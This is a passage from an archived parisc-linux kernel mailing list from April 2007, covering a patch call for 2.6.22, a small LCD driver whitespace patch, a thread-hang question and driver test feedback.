	with ESMTP id 28212-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 09:31:58 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id CE9F77DA81
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 09:31:58 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id CEDDD5840A7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 11:31:57 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 55008584094
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 11:31:57 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 0490C837DB
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 11:31:56 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id B5BDA3B06E; Thu, 19 Apr 2007 11:29:45 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FeZFEud4bXBtibqHPTQ2HV4qLyUmZYhR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24471

See $SUBJECT. The merge window will likely open soon, so we have
2 weeks from then to collect patches for Linus. What I currently have
queued is in:

http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=summary

(The two janitor patches are included, but haven't been pushed yet.)

Please hit me with any patches you want in 2.6.22.

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julian Stecklina <der_julian@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LCD driver trims whitespace
Date: Thu, 19 Apr 2007 18:21:24 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <46279704.1080001__33054.6171208427$1416624336$gmane$org@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------080101010604030705080809"
X-Trace: ger.gmane.org 1416624336 23582 80.91.229.3 (22 Nov 2014 02:45:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Apr 2007 16:21:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 19 Apr 2007 18:21:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 319DB7DAD9;
	Thu, 19 Apr 2007 10:21:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28832-01; Thu, 19 Apr 2007 10:21:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C94A87DACF;
	Thu, 19 Apr 2007 10:21:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2A827DACA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 10:21:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28557-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 10:21:40 -0600 (MDT)
Original-Received: from mailgate.urz.tu-dresden.de (rmr66-204.zih.tu-dresden.de
	[141.30.66.204])
	by free.linux.hp.com (Postfix) with ESMTP id C5BF27DAC8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 10:21:40 -0600 (MDT)
Original-Received: from [127.0.0.1] (helo=localhost)
	by mailgate-36 with esmtp (exim-4.51)
	for <parisc-linux@lists.parisc-linux.org>
	id 1HeZNx-0006xQ-Dq; Thu, 19 Apr 2007 18:21:29 +0200
Original-Received: from mailgate.urz.tu-dresden.de ([127.0.0.1])
	by localhost (amavis-36 [127.0.0.1]) (amavisd-new,
	port 10024) with ESMTP
	id 19975-173 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 18:21:28 +0200 (MEST)
Original-Received: from [141.30.67.31] (helo=server-n)
	by mailgate-36 with esmtp (exim-4.51)
	for <parisc-linux@lists.parisc-linux.org>
	id 1HeZNt-0006uv-MB; Thu, 19 Apr 2007 18:21:25 +0200
Original-Received: from [192.168.0.250] (efficio.wh29.tu-dresden.de [141.30.207.25])
	by server-n (Postfix) with ESMTP id 01F2B100BE9F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Apr 2007 18:21:24 +0200 (CEST)
User-Agent: Thunderbird 1.5.0.10 (X11/20070221)
X-TUD-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on amavis-36
X-TUD-Virus-Scanned: amavisd-new 2.3.1 (20050509) at tu-dresden.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: E+0SLoUjZDI4y7HGdWY2VqtxemhmY0Hm
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24472

This is a multi-part message in MIME format.
--------------080101010604030705080809
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Hello,

I have a HP Visualize workstation with this fancy little LCD at the 
front controllable via /proc/pdc/lcd. The problem is that the 
responsible driver trims all trailing whitespace, which is quite 
annoying if you want to scroll some text. The attached trivial patch 
(against 2.6.20.1) removes this behaviour.

Regards,
Julian Stecklina

--------------080101010604030705080809
Content-Type: text/x-patch;
 name="no-space-removal.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="no-space-removal.patch"

diff -ur linux-2.6.20.1-hppa.orig/drivers/parisc/led.c linux-2.6.20.1-hppa/drivers/parisc/led.c
--- linux-2.6.20.1-hppa.orig/drivers/parisc/led.c	2007-04-19 12:38:55.000000000 +0200
+++ linux-2.6.20.1-hppa/drivers/parisc/led.c	2007-04-04 18:40:34.000000000 +0200
@@ -195,12 +195,6 @@
 
 	cur = lbuf;
 
-	/* skip initial spaces */
-	while (*cur && isspace(*cur))
-	{
-		cur++;
-	}

From - Thu Nov 08 21:35:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LCD driver trims whitespace
Date: Sat, 21 Apr 2007 11:41:25 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <200704211141.26069.deller__14174.7144553394$1416624336$gmane$org@gmx.de>
References: <46279704.1080001@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624336 23585 80.91.229.3 (22 Nov 2014 02:45:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2007 09:41:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 21 Apr 2007 11:41:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C8E27DB02;
	Sat, 21 Apr 2007 03:41:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10444-08; Sat, 21 Apr 2007 03:41:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F2DF7DAFE;
	Sat, 21 Apr 2007 03:41:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6F3DC7DAFA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 03:41:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10444-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 03:41:29 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 43B3B7DAF9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 03:41:29 -0600 (MDT)
Original-Received: (qmail invoked by alias); 21 Apr 2007 09:41:27 -0000
Original-Received: from mnhm-590c3b8e.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.59.142]
	by mail.gmx.net (mp006) with SMTP; 21 Apr 2007 11:41:27 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.6
In-Reply-To: <46279704.1080001@web.de>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZOUafg4jMmApm7SZZGFniYYxMjQ1N52f
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24473

On Thursday 19 April 2007, Julian Stecklina wrote:
> I have a HP Visualize workstation with this fancy little LCD at the 
> front controllable via /proc/pdc/lcd. The problem is that the 
> responsible driver trims all trailing whitespace, which is quite 
> annoying if you want to scroll some text. The attached trivial patch 
> (against 2.6.20.1) removes this behaviour.

I'm sure, there was a reason to strip the whitespaces. 
But I forgot it by now and it was probably a not very good reason :-)

Nevertheless, the patch looks good.

Kyle, could you add the patch to your git tree ?
-> http://lists.parisc-linux.org/pipermail/parisc-linux/attachments/20070419/d58ce234/no-space-removal.bin

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hanging linuxthread processes
Date: Sat, 21 Apr 2007 15:12:32 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <200704211512.32234.deller__41280.2416984507$1416624336$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624336 23588 80.91.229.3 (22 Nov 2014 02:45:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:36 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2007 13:12:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 21 Apr 2007 15:12:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B1437DB12;
	Sat, 21 Apr 2007 07:12:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13382-01; Sat, 21 Apr 2007 07:12:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5188E7DB0C;
	Sat, 21 Apr 2007 07:12:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F21317DB08
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 07:12:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13217-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 07:12:36 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id B56AA7DB05
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 07:12:35 -0600 (MDT)
Original-Received: (qmail invoked by alias); 21 Apr 2007 13:12:34 -0000
Original-Received: from mnhm-590c3b8e.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.59.142]
	by mail.gmx.net (mp046) with SMTP; 21 Apr 2007 15:12:34 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.6
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[; fY@)WscF2iV7`,a$141g'o,7X
	?Bt1Wb:L7K6z-<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(e}
	`-QV{#%&[?^fAke6t8QbP; b'XB,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"
	["ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vXhDdUAweWU3n62TZm9nid4rL0tsZo3Z
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24474

Do we still see pthread/linuxthread-"hangs" on HPPA ?

On Alpha they had similiar problems with "hanging" threads:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=325600

Their trivial solution seems to be:
http://permalink.gmane.org/gmane.linux.debian.ports.alpha/7114

Could this be a solution on HPPA (with #ifdef __hppa__ added) as well ?
Mabye someone who compiles glibc on regular basis want to try ?

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Splitted lasi_82596 driver
Date: Sat, 21 Apr 2007 16:14:19 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <200704211614.19496.deller__23513.8997821652$1416624336$gmane$org@gmx.de>
References: <20070415144209.GA11196@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624336 23589 80.91.229.3 (22 Nov 2014 02:45:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2007 14:14:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 21 Apr 2007 16:14:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 179C47DB1C;
	Sat, 21 Apr 2007 08:14:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13732-10; Sat, 21 Apr 2007 08:14:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86AB97DB18;
	Sat, 21 Apr 2007 08:14:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D0D077DB16
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 08:14:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13732-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 08:14:23 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id A7AD87DB15
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Apr 2007 08:14:22 -0600 (MDT)
Original-Received: (qmail invoked by alias); 21 Apr 2007 14:14:21 -0000
Original-Received: from mnhm-590c3b8e.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.59.142]
	by mail.gmx.net (mp043) with SMTP; 21 Apr 2007 16:14:21 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.6
In-Reply-To: <20070415144209.GA11196@alpha.franken.de>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LnVPB1RjfW4oieWveGVoUJ1mdmllcgU3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24475

Hi Thomas,

On Sunday 15 April 2007, Thomas Bogendoerfer wrote:
> as I needed a 82596 driver for a machine (SNI RM400), I took
> lasi_82596.c, cloned it and made it working on that machine. But
> I don't think it's a good idea to have another clone of 82596.c in
> linux, therefore I splitted my cloned driver and took the lasi parts
> to get one major file (lib82596.c) and two hardware specific parts
> (lasi_82596.c and sni_82596.c), which just holds the hardware things
> of the driver. This "new" driver works now on the RM400, so it's
> time to test it on parisc hardware. Unfortunatly my machines with
> lasi82596 are stored away, so I'm looking for someone, who is
> willing to try the patch below and give me feedback.

Tests sucessfully passed on my B160L :-)
 
> Are there any other things, which should be improved in the driver,
> before I'm going to submit this driver ?

Some basic ethtool support would be a nice-to-have.
E.g. name/driver name/Available speeds/link up&down/...

Greetings,
Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] limit thread stack size with >4K pages
Date: Sat, 21 Apr 2007 16:35:16 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <200704211635.16322.deller__39395.5571730205$1416624337$gmane$org@gmx.de>
References: <200703171323.06002.deller@gmx.de>
	<1174139264.3476.1.camel@mulgrave.il.steeleye.com>
	<20070317162332.GB10950@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624337 23591 80.91.229.3 (22 Nov 2014 02:45:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:37 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2007 14:35:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 21 Apr 2007 16:35:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 289CF7DB08;
